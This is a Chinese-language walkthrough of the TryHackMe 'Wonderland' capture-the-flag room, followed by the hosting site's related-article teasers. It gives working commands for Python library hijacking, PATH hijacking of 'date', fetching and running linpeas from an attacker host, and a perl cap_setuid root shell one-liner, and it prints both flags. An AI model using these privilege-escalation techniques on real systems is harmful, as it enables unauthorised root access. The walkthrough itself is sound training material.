Tryhackme练习-Wonderland

基本信息

由于tryhackme是在线靶场,所以这里的IP均为对方的内网IP

攻击机器:10.10.242.186

靶机:10.10.173.3

目标:获取2个flag+root权限

具体流程

信息收集

首先我们使用fscan进行端口扫描,fscan -h 10.10.173.3

在这里插入图片描述

这里开放了80端口,我们直接访问80端口即可,如下所示

image-20241115154520201

首先我们使用gobuster扫一下后门路径,使用如下命令

gobuster -u http://10.10.173.3:80/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt dir

image-20241115155115952

我们访问r路径,如下所示

image-20241115155203115

叫我们继续往前,keepgoing,说明我们的大体方向是对的,现在我们还需要去看看其他地方有没有信息,我们的首页还给我们提供了一张图片,我们可以去看看这张图片是否存在图片隐写的问题

steghide探寻隐藏信息

我们将这张图片下载下来

wget http://10.10.173.3/img/white_rabbit_1.jpg

我们使用steghide进行隐藏信息提取

steghide extract -sf white_rabbit_1.jpg 

image-20241115155626403

我们发现有一个hint.txt,我们直接查看一下这个txt文件即可,如下所示

image-20241115155718253

这里叫我们follow r a b b i t,根据我们前期探测出来的r路径,我们可以猜测其路径结构是/r/a/b/b/i/t

image-20241115155902485

我们查看页面源码,可以发现我们这里泄露了某个账户的ssh账号

alice:HowDothTheLittleCrocodileImproveHisShiningTail

image-20241115155958257

我们这里使用ssh登录即可

权限横移

image-20241115160203180

我们这里成功以alice账户登录了ssh,这里我们列举一下目录,如下所示

在这里插入图片描述

alice目录下有一个root.txt,那我们不妨猜测user.txt在/root下,我们尝试切换目录,如下所示

image-20241115160750155

thm{"Curiouser and curiouser!"}

我们成功在root目录下找到了我们的user.txt,但是我们也发现我们根本没办法进入到其他用户的目录下,所以我们这里要进行权限横移

我们发现在alice目录下存在一个walrus_and_the_carpenter.py文件,且我们执行sudo -l,可以发现我们可以切换到rabbit用户下

image-20241115162131917

在这里插入图片描述

而且这个文件我们可以编辑,所以我们先看看这个文件干了什么

image-20241115161543992

我们发现首先import random这里我们可以伪造一个random.py文件,我们在当前目录下创建一个random.py文件,内容写上

import os
os.system("/bin/bash")

image-20241115162252842

我们再运行这个py文件即可,如下所示

sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py

我们成功切换到rabbit用户下,我们再看看有没有什么我们可以利用的信息,我们首先查看到rabbit下存放在一个二进制文件

image-20241115163458959

我们尝试去读取里面的函数,但是我们发现没有strings函数,我们先尝试八这个文件下载下来,我们开启web服务,如下所示

python3 -m http.server 8080

image-20241115163834027

我们使用wget http://10.10.173.3:8080/teaParty下载到本地,如下所示

image-20241115212213880

我们利用strings函数查看该二进制文件,如下所示

image-20241115213420324

我们可以看见里面有个date函数,我们可以尝试利用环境变量进行攻击,以达到权限横移,如下所示

cd /tmp
touch date
nano date #写入/bin/bash
chmod +x date
export PATH=/tmp:$PATH

之后我们运行teaParty文件即可,这样我们就能获取到hatter用户的权限,如下所示

image-20241115214543542

我们直接看该目录下的文件,我们可以看到目录下面有个password.txt,如下所示

image-20241115214731201

我们直接登录这个用户然后进行权限提升

权限提升

我们首先尝试sudo提权,但是没有任何可以利用的信息,我们接着尝试suid提权,但是也没有什么发现,这里我们先下载linpeas.sh来看看版本是否有漏洞

wget http://10.14.91.183/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

我们主要看标红的信息即可,如下所示

image-20241115220708973

我们发现这里有一串被特别标记的,大概率就是我们可以利用的利用点

/usr/bin/perl = cap_setuid+ep 这行代码的意思是:
给 /usr/bin/perl 文件设置能力,使得它具有 cap_setuid 能力,并且这个能力是有效的 (+e) 和被允许的 (+p)。
这意味着 Perl 解释器在执行时将有能力调用 setuid() 函数,进而可以更改进程的 UID。

所以我们可以尝试使用perl进行uid的赋值,进而获取root的uid,如下所示

image-20241115221122273

我们直接执行

./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

image-20241115221234867

image-20241115221322947

thm{Twinkle, twinkle, little bat! How I wonder what you\u2019re at!}

本题到此结束

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/19790.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

【设计模式-原型】

**原型模式(Prototype Pattern)**是一种创建型设计模式,旨在通过复制现有对象的方式来创建新对象,而不是通过实例化类来创建对象。该模式允许对象通过克隆(复制)来创建新的实例,因此避免了重新创…

配置maven本地仓库的路径及镜像仓库

一、本地仓库路径 找到标签:localRepository,将标签中间的内容换成你要配置的库文件夹路径即可: 二、镜像仓库 找到标签:mirrors,配置如下: 可以将url标签中的路径换成你想配置的路径即可

在一个.NET Core项目中使用RabbitMQ进行即时消息管理

为了在一个.NET Core项目中使用RabbitMQ进行即时消息管理,以下是详细的全程操作指南,包括安装、配置、编写代码和调试使用。 一、安装RabbitMQ 1. 安装Erlang RabbitMQ依赖Erlang,因此需要先安装Erlang。 Windows: 下载并运行Erlang安装…

51c大模型~合集60

我自己的原文哦~ https://blog.51cto.com/whaosoft/12102352 #百舸 当大模型Scaling Law继续,万卡集群算力释放在「百舸」这里找到一条通途 在电影《天下无贼》中,葛优扮演的黎叔有这样一句经典的台词,「二十一世纪什么最贵?人…

Auto-Py-to-Exe:一键生成可执行的EXE文件,助力 Python 项目在Windows上快速部署

Python以其简洁易懂的语法和丰富的库而闻名,但对于想要将Python项目分享给他人或进行独立部署的开发者来说,将代码打包成可执行文件往往是必不可少的一步。而Auto-Py-to-Exe就是一个功能强大的工具,它能帮助你轻松将Python脚本转换成独立的可…

如何巧妙使用AI工具

一、AI的介绍 AI:即人工智能,是计算机科学体系下的一个学科,是指通过计算机系统模拟人类智力的一种技术。 AIGC:AI领域的一个应用分支,专注于利用AI技术自动生成内容,包括文本,代码&#xff0…

C/C++ 优化,strlen 示例

目录 C/C optimization, the strlen examplehttps://hallowed-blinker-3ca.notion.site/C-C-optimization-the-strlen-example-108719425da080338d94c79add2bb372 揭开优化的神秘面纱... 让我们来谈谈 CPU 等等,SIMD 是什么? 为什么 strlen 是一个很…

性能测试

浅谈性能瓶颈之Mysql慢查询 1.开启测试环境的mysql数据库慢查询日志,然后在日志文件里自动记录这些慢查询,以及not using index的查询。数据库执行下面几个命令: set global slow_query_logon /*开启慢查询日志*/set log_queries_not_using_…

【AI+教育】一些记录@2024.11.11

《清华发布工具学习框架,让ChatGPT操控地图、股票查询,贾维斯已来?》 清华发布工具学习框架,让ChatGPT操控地图、股票查询,贾维斯已来?工具学习,清华天团让 ChatGPT 拿起专业工具https://mp.we…

图数据库 | 7、图数据库三大组件之一 之 图存储(下)

在图数据库中有三大组件——图计算、图存储以及图查询语言。上一个篇文章,老夫聊到了图存储,重点讲的是它的基础概念以及图存储引擎的架构设计中的一对重要概念——非原生图与原生图,接下来我们就聊聊关于图存储数据结构与构图的那些事儿吧。…

生产环境部署Nginx服务器双机热备部署-keepalived(多种模式教程)

前言:今天演示下生产环境keepalived的部署方式,安装模式有很多,比如说主备模型和双主模型,主备分:抢占模式 和 非抢占模式。这里我会一一展开说具体怎么配置 一、双节点均部署Nginx: 第一步:上…

陶哲轩:计算机通用方法,往往比深奥的纯数学更能解决问题

刚刚,著名数学家陶哲轩在个人社交平台更新的几篇帖子,引起大家广泛的共鸣。 陶哲轩用浅显易懂的语言表达了自己对数学的理解与思考心得。 文中谈到了一个关于「度」的问题,陶哲轩表示在设计系统时,缺乏或者过度的数学分析可能都…

NewStarCTF2024-Week3-Web-WP

目录 1、Include Me 2、blindsql1 3、臭皮踩踩背 4、臭皮的计算机 5、这“照片”是你吗 1、Include Me 使用 data 协议,结合 base64 编码绕过 payload: ?iknow1&medata://text/plain;base64,PD89c3lzdGVtKCJ0YWMgL2ZsYWciKTs 拿到 flag&#…

java版询价采购系统 招投标询价竞标投标系统 招投标公告系统源码

在信息化飞速发展的今天,电子招投标采购系统已成为企业运营中的重要一环。这一系统不仅优化了传统的招投标流程,还为企业带来了诸多显著的价值。 首先,电子招投标采购系统极大地提高了工作效率。传统招投标过程中,企业需要耗费大…

小林Coding—Java「二、Java基础篇」

󠀲󠀲二 Java基础面试篇 数据类型 引用类型 类:Class接口:Interface数组:Array枚举:Enum自动装箱:int -> Integer 自动拆箱:Integer -> int // 下面代码会先自动拆箱将sum转为…

GBDT 算法

GBDT 梯度决策提升树是将一些弱分类决策树的结果加在一起,每一棵决策树对前一颗觉得树残差进行优化,从而使得总体的损失值达到最小。 GBDT 公式 Fm-1: 上一棵树的结果 α \alpha α: 学习率 hm(x): 当前树,通过训练调整结果,降低…

java~Lambda表达式

目录 Lambda和匿名内部类 语法 函数式接口 无返回值(无参、有参) 有返回值(无参、有参) 语法精简 四个基本的函数式接口 方法引用 实例方法引用 静态方法引用 特殊方法引用 构造方法引用 数组引用 集合 List、Set …

PyQt5信号与槽二

窗口数据传递 在开发程序时,如果这个程序只有一个窗口,则应该关心这个窗口里面的各个控件之间是如何传递数据的;如果这个程序有多个窗口,那么还应该关心不同的窗口之间是如何传递数据的。对于多窗口的情况,一般有两种…

【java】多态

一、概念 多态是同一个行为具有多个不同表现形式或形态的能力。 多态就是同一个接口,使用不同的实例而执行不同操作。 同一个事件发生在不同的对象上会产生不同的结果。 比如: public class Test {public static void main(String[] args) {Person xn…

使用Holoviews创建复杂的可视化布局

目录 一、Holoviews简介 二、安装Holoviews 三、Holoviews的基本概念 元素(Elements): 容器(Containers): 映射(Mappings): 四、基本用法 创建元素: …